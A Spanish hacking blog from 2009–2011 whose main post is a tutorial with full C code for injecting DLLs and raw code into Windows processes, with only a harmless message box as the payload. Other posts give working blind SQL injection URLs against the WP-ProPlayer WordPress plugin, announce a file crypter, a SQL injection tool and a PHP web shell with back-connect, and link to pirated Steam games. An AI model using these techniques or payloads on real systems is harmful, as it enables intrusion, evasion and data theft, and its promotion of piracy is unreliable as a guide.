viernes, 1 de abril de 2011

Inyectando código en un proceso

|||   Inyecting code into another process   |||
|||                      by ca0s                      |||

|| 0x01 - Intro
|| 0x02 - APIs
|| 0x03 - Inyectando con DLL
|| 0x04 - Inyectando sin DLL
|| 0x05 - Links
|| 0x06 - Bye

----
0x01
----
Voy a explicar mas o menos como inyectar nuestro propio código en otro proceso. Primero inyectaremos una dll,
después lo haremos a pelo.

----
0x02
----
Primero necesitamos conocer algunas APIs de windows:

OpenProcess:
HANDLE WINAPI OpenProcess(
  __in  DWORD dwDesiredAccess,
  __in  BOOL bInheritHandle,
  __in  DWORD dwProcessId
);

Abre el proceso especificando su PID en dwProcessId, con los privilegios deseados. Retorna un manejador
al proceso, o NULL en caso de error.

VirtualAllocEx:
LPVOID WINAPI VirtualAllocEx(
  __in      HANDLE hProcess,
  __in_opt  LPVOID lpAddress,
  __in      SIZE_T dwSize,
  __in      DWORD flAllocationType,
  __in      DWORD flProtect
);

Reserva memoria en el espacio de otro proceso, comenzando en lpAddress (si se le pasa NULL el sistema elige
por nosotros), con el tamaño dwSize y con los permisos que le asignemos (usaremos PAGE_EXECUTE_READWRITE).
Devuelve un puntero a esa memoriam o NULL en caso de error.

WriteProcessMemory:
BOOL WINAPI WriteProcessMemory(
  __in   HANDLE hProcess,
  __in   LPVOID lpBaseAddress,
  __in   LPCVOID lpBuffer,
  __in   SIZE_T nSize,
  __out  SIZE_T *lpNumberOfBytesWritten
);

Escribe en la memoria dada por lpBaseAddress el contenido apuntado por lpBuffer, hasta nSize bytes. Devuelve FALSE
en caso de error.

CreateRemoteThread:
HANDLE WINAPI CreateRemoteThread(
  __in   HANDLE hProcess,
  __in   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in   SIZE_T dwStackSize,
  __in   LPTHREAD_START_ROUTINE lpStartAddress,
  __in   LPVOID lpParameter,
  __in   DWORD dwCreationFlags,
  __out  LPDWORD lpThreadId
);

Lanza un hilo en el proceso hProcess (abierto con OpenProcess), estando en ese hilo la funcion apuntada por
lpStartAddress con los argumentos apuntados por lpParameter.

También usaremos Tlhelp32.h para obtener el PID de un proceso sabiendo su nombre.

    HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(processList, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, "test.exe")==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(lista, &pInfo);
    }
    while(st!=FALSE);


Ver MSDN para mas info.

----
0x03
----
Primero necesitamos una DLL que inyectar, la cual al ser programada por nosotros hará lo que
queramos.


#include
#include
#include
BOOL APIENTRY DllMain (HINSTANCE hInst,   
                       DWORD reason,      
                       LPVOID reserved)    
{
    switch (reason)
    {
      case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Hi!", "Hey!", 0);
        break;
    }
    return TRUE;
}

Ahora tenemos que hacer al proceso cargar esa DLL. Para ello:
- Abrimos el proceso, reservamos memoria en él, y escribimos en esa memoria la ruta de la DLL.
- Obtener la dirección de LoadLibrary con GetProcAddress. LoadLibrary se encuentra en kernel32.dll, y su
dirección es compartida, por lo que podemos cargarla desde el inyector y usarla desde el inyectado.
- Lanzar un hilo en el proceso abierto, dando como punto de entrada la dirección de LoadLibrary y como argumento
la dirección del nombre de la DLL previamente escrito.

Todo junto queda así:

#include
#include
#include

void error(char *err);

HANDLE myProc=NULL;

int main(int argc, char *argv[])
{

    HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(processList, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, "test.exe")==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(processList, &pInfo);
    }
    while(st!=FALSE);

    // Abrir el proceso
    printf("[+] Opening process %i\n", myPid);
    myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
    if(myProc==NULL) error("[-] Error abriendo proceso.\n");
    else printf("[+] Proceso abierto.\n");
   
    // Reservar memoria para el argumento (ruta de la DLL)
    char thData[]="dll.dll";
    LPVOID dirToArg=VirtualAllocEx(myProc, NULL, strlen(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToArg==NULL) error("[-] Error reservando memoria para argumento.\n");
    else printf("[+] Memoria reservada para argumento (%i bytes).\n", strlen(thData)); 
    // Escribir la ruta de la DLL en la memoria reservada
    SIZE_T written=0;
    if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, strlen(thData), &written)==0) error("[-] Error escribiendo memoria.\n");
    else printf("[+] Memoria escrita (arg %i bytes).\n", written);
   
    // Lanzar un hilo con LoadLibrary
    HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA"), dirToArg, 0, NULL);
    if(rThread==NULL) error("[-] Error creando el hilo.\n");
    else printf("[+] Hilo creado.\n");
   
    CloseHandle(myProc);
}

void error(char *err)
{
     if(myProc!=NULL) CloseHandle(myProc);
     printf("%s", err);
     exit(0);
}

----
0x04
----
Aquí la cosa se complica. Las diferencias entre un método y otro son:
- Ahora no podemos utilizar cadenas de texto directamente como argumentos a funciones. Ya veremos por qué.
- No podemos llamar a ninguna función que no carguemos previamente con LoadLibrary + GetProcAddress. Esas
dos están cargadas en todos los ejecutables de Windows desde kernel32, así que podemos usar un puntero a ellas.
- Tenemos que escribir todo el código de nuestras funciones en el espacio de memoria del proceso.
- Necesitaremos estructuras mas complejas como argumento de nuestros hilos remotos.

Así que el proceso de inyección quedaría así:
- Crear una estructura de datos con TODAS las cadenas de texto que vayamos a usar en el código inyectado, y
con un puntero a LoadLibrary y GetProcAddress.
- Abrir el proceso.
- Reservar memoria para la estructura de datos. Escribirla.
- Reservar memoria para nuestro código. Escribirlo.
- Lanzar el hilo remoto, dando como punto de entrada el puntero a neustro código y como argumento el puntero
a nuestra estructura de datos.

Y el código queda así (en el ejemplo inyecto un MessageBoxA, cargado desde User32.dll)

#include
#include
#include

void error(char *err);
static DWORD WINAPI myFunc(LPVOID data);

HANDLE myProc=NULL;

// Con esto cargaremos punteros a LoadLibrary y GetProcAddress en nuestra estrucura de datos
typedef int (WINAPI *datLoadLibrary)(LPCTSTR);
typedef int (WINAPI *datGetProcAddress)(HMODULE, LPCSTR);

int main(int argc, char *argv[])
{
    if(argc<2) error("Uso: hook.exe PROCESO\n");
    // Esta es nuestra estructura de argumentos
    struct {
       char lnUser32[50];                                 // -> "User32.dll"
       char fnMessageBoxA[50];                       // -> "MessageBoxA"
       datLoadLibrary apiLoadLibrary;               // Puntero a LoadLibrary
       datGetProcAddress apiGetProcAddress;  // Puntero a GetProcAddress
       char Msg[50];                                  // Texto que usaremos en MessageBoxA
       } thData;
    strcpy(thData.lnUser32, "User32.dll");
    strcpy(thData.fnMessageBoxA, "MessageBoxA");
    strcpy(thData.Msg, "Hola!");
    thData.apiLoadLibrary=GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    thData.apiGetProcAddress=GetProcAddress(GetModuleHandle("kernel32.dll"), "GetProcAddress");
   
    int funcSize=600; // El tamaño de nuestra función. Podria calcularse de forma exacta, pero como ejemplo
                            // exagerado nos vale .

    HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pInfo;
    BOOL st=TRUE;
    pInfo.dwSize=sizeof(PROCESSENTRY32);
    Process32First(processList, &pInfo);
    int myPid=0;
    do
    {
        if(strcmp(pInfo.szExeFile, argv[1])==0)
        {
            myPid=pInfo.th32ProcessID;
            break;
        }
        Process32Next(processList, &pInfo);
    }
    while(st!=FALSE);
   
    // Abrir proceso
    printf("[+] Abriendo proceso %i\n", myPid);
    myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);
    if(myProc==NULL) error("[-] Error abriendo proceso.\n");
    else printf("[+] Proceso abierto.\n");
   
    // Reservar memoria para argumentos
    LPVOID dirToArg=VirtualAllocEx(myProc, NULL, sizeof(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToArg==NULL) error("[-] Error reservando memoria para arg.\n");
    else printf("[+] Memoria reservada para arg (%i bytes).\n", sizeof(thData)); 
    // Escribir argumentos
    SIZE_T written=0;
    if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&thData, sizeof(thData), &written)==0) error("[-] Error escribiendo la estructura de datos.\n");
    else printf("[+] Memoria escrita (arg %i bytes).\n", written);
     
    // Reservar memoria para la funcion
    LPVOID dirToWrite=VirtualAllocEx(myProc, NULL, funcSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(dirToWrite==NULL) error("[-] Error rreservando memoria para codigo.\n");
    else printf("[+] Memoria reservada para codigo (%i bytes).\n", funcSize);  
    // Escribimos el codigo de nuestra funcion
    if(WriteProcessMemory(myProc, dirToWrite, (LPVOID)myFunc, funcSize, &written) == 0) error("[-]Error escribiendo memoria.\n");
    else printf("[+] Memoria escrita (codigo).\n");
   
    // Lanzamos el hilo
    HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)dirToWrite, dirToArg, 0, NULL);
    if(rThread==NULL) error("[-] Error lanzando hilo.\n");
    else printf("[+] Hilo lanzado.\n");
    CloseHandle(myProc);
   
    return 0;
}
   
void error(char *err)
{
     if(myProc!=NULL) CloseHandle(myProc);
     printf("%s", err);
     exit(0);
}

static DWORD WINAPI myFunc(LPVOID data)
{
    // Cargamos nuestros datos en una estructura como la que hicimos
     struct {
         char lnUser32[50];
         char fnMessageBoxA[50];
         datLoadLibrary apiLoadLibrary;
         datGetProcAddress apiGetProcAddress;
         char MSG[50];
     } *thData;
     thData=data;
     // Podemos conseguir cualquier API con estas dos, siempre que tengamos su nombre en la estructura
     void *apiDir=(void *)thData->apiGetProcAddress((HANDLE)thData->apiLoadLibrary(thData->lnUser32), thData->fnMessageBoxA);
     // Puntero a funcion similar a MessageBoxA
     INT WINAPI (*myMessageBox)(HWND, LPCSTR, LPCSTR, UINT);
     myMessageBox=apiDir;
     myMessageBox(NULL, thData->MSG, thData->MSG, 0);
     return;
}    

----
0x05
----
MSDN - http://msdn.microsoft.com/en-us/library \\ De aquí saqué mucha info para hacer ésto.
foro.elhacker.net
www.ka0labs.net
st4ck-3rr0r.blogspot.com
www.diosdelared.com
www.0x3a.com.ar
www.evilzone.org

----
0x06
----
Creo que todo está mas o menos bien explicado. Yo tampoco soy un experto en ésto así que puede que se me
haya colado algún gazapo, cualquier cosa avisadme.
Bytez.

Vuelven dos grandes

Vuelven los dos foros donde más he aprendido:

EvilZone - www.evilzone.org
#RE - www.0x3a.com.ar (provisional)

Ojalá esta vez se queden los dos ON durante tiempo.

sábado, 26 de febrero de 2011

ka0labs

Abrimos de nuevo la web, con foro (programado por nosotros), blog, y CodeShare, un sistema colaborativo para códigos que aún está en desarrollo.

De momento todo es BETA. ¡BETA!. Probablemente haya fallos e incluso vulnerabilidades que no hemos encontrado.


viernes, 10 de diciembre de 2010

WP-Proplayer Plugin Blind SQL Inyection

<-------

WP-ProPlayer Plugin Blind SQL Inyection
By Ca0s `

Visit:
        st4ck-3rr0r.blogspot.com
        ka0-labs.org
    Shouts @
        evilzone.org
        elhacker.net
        diosdelared.com

------->
<-------

Software: ProPlayer <= 4.7.7
URL:
 http://wordpress.org/extend/plugins/proplayer/
 http://isagoksu.com/proplayer-wordpress-plugin/
Vuln: Blind SQL Inyection ->
 /wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=[ID]')+and+('a'='a
 /wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=[ID]')+and+('a'='b

Detail: some servers filter ' to %27, so doesn't work this way.
------->

miércoles, 8 de septiembre de 2010

Ca0s Crypt v1

Salido del aburrimiento.Un cifrador de archivos, con soporte para EXE's por el stub que añado.
Tiene dos modos de cifrado, añadir/restar un byte o xorear a un byte. El byte es personalizable desde la linea de comandos.

Crypter:


Stub:


Compilados:
http://www.megaupload.com/?d=NG3THHVF

miércoles, 7 de julio de 2010

[C][Tool] Repeated File Finder

Anduve aburrido estos dias y solo se me ocurre ir a /b/ a pedir ideas para codear. Me pidieron un buscador de archivos repetidos, porque a esa gente se le acumula el porno y claro, les ocupa espacio.

Y me salió esto, que aunque supongo que tendrá algun bug a parte de los que yo he encontrado:
-Si le pones maxima profundidad mas de 4 en C:\ peta.
-La comparación de archivos debería hacerla hasheando el archivo y comparando, no comparando el archivo entero cargandolo en la ram (vale para archivos de tamaño no demasiado grande, si el programa encuentra una ISO por ejemplo de mas de 1Gb y tenemos 1GB de RAM, pum!.

Y bueno, su tarea la cumple bien, encuentra todo lo que tengo repetido.
Uso:
FCC.exe -path [RUTA DE COMIENZO] -maxdepth [MAXIMO DE SUBCARPETAS] -ext EXTENSION1,EXTENSION2 -log ARCHIVO
-maxdepth no es obligatorio, si se deja en blanco se toma solo la carpeta de origen.
-ext no es obligatorio, si no se especifica coge las extensiones que van definidas en el programa (jpg,png,wmv,gif,mp4,mp3,wma,txt)
-log no es obligatorio, si se especifica se imprime el resultado a ARCHIVO

Source:



Solo lo he probado en windows, pero creo que no uso ninguna librería extraña, asique puede ir en linux.

viernes, 9 de abril de 2010

SQL Iny3ct0r v2

Después de tenerlo en el cajón meses me he decidido a terminarlo. No ha quedado del todo mal :-P

Cambios de v1 a la v1.5:   
       - Arreglados algunos fallos
       - Añadida fuerza bruta
       - Extrae mysql.user
       - Extrae los nombres de las bases de datos y el usuario
       - Prueba load_file()
Cambios de v1.5 a v2.0:
       - Inyección SQL a ciegas (Blind SQLi)
       - Inyección SQL a ciegas por fuerza bruta
       - Mas modos de detectar cuando la inyeccion es exitosa
       - unhex(hex()) en las inyecciones.
       - Opcion de terminar inyecciones con --
       - Mas errores arreglados

Ejemplos de salida:
- Extrayendo de information_schema.
- Extrayendo con fuerza bruta.
- Extrayendo con inyección a ciegas.
- Extrayendo con inyeccion a ciegas y fuerza bruta.

Uso:
El parámetro -b indica inyección a ciegas. -f indica fuerza fruta.
-good "valor" y -bad "valor" son dos parámetros para detectar cuando una inyección ha devuelto positivo o negativo. No son comparibles. -good indica una cadena que aparece cuando la inyección es exitosa (ejemplo: +AND+1=1) y -bad cuando no lo es (+AND+1=2). Es útil en la inyección a ciegas. Si no se especifica ninguno de los dos se cuentan las lineas de la respuesta del servidor y se comparan, lo que en ocasiones no es efectivo.
El parámetro -proxy indica el uso de un proxy web. Ejemplo: -proxy W.X.Y.Z:81

Código:



Y lo de siempre, si encontrais algún bug y tal, por ahi teneis mi mail :-)
Es probablemente la última version que hago en perl, si hago otra será en C.
Un saludo a #RE, DDLR y EvilZone.
Byes.

sábado, 30 de enero de 2010

[C] Autoclick simple

Pff el aburrimiento me mata. Encontré un jueguecito de hacer los máximos clicks en 10 segundos y me hice ésto. Lo posteo mas bien por darle vida a esto, que la ultima vez que puse algo fue en noviembre U.U.



Meter el número de clicks y si se quiere el tiempo de espera entre click y click.
Saludos.

miércoles, 18 de noviembre de 2009

Ca0s sh311 1.5

Old:
- Explorador de arvhivos (con edición, descarga y delete).
- Ejecución de código.
- Back-Connect (fixed, antes solo funcionaba si register_globals estaba on)
New:
- SQL explorer.
- Mejorado el explorador de archivos.
- Búsqueda de RootExploit y búsqueda en MilWorm.
- Protección de la shell con contraseña, esquive con errores 404 (personalizable, ver código)
Para la próxima:
- Dump de una BD entera.
- FTP
- Mass deface.









domingo, 20 de septiembre de 2009

PacSteam

Para gamers.
PacSteam es un proyecto que permite descargar muchos de los juegos de Steam sin pagar un duro ;-)
La web del proyecto es http://www.pacman.myfirehost.com, allí se pueden encontrar las descargas y manuales después de registrarse:
http://www.pacman.myfirehost.com/viewtopic.php?f=45&t=11461
http://www.pacman.myfirehost.com/viewtopic.php?f=35&t=10407

Salu2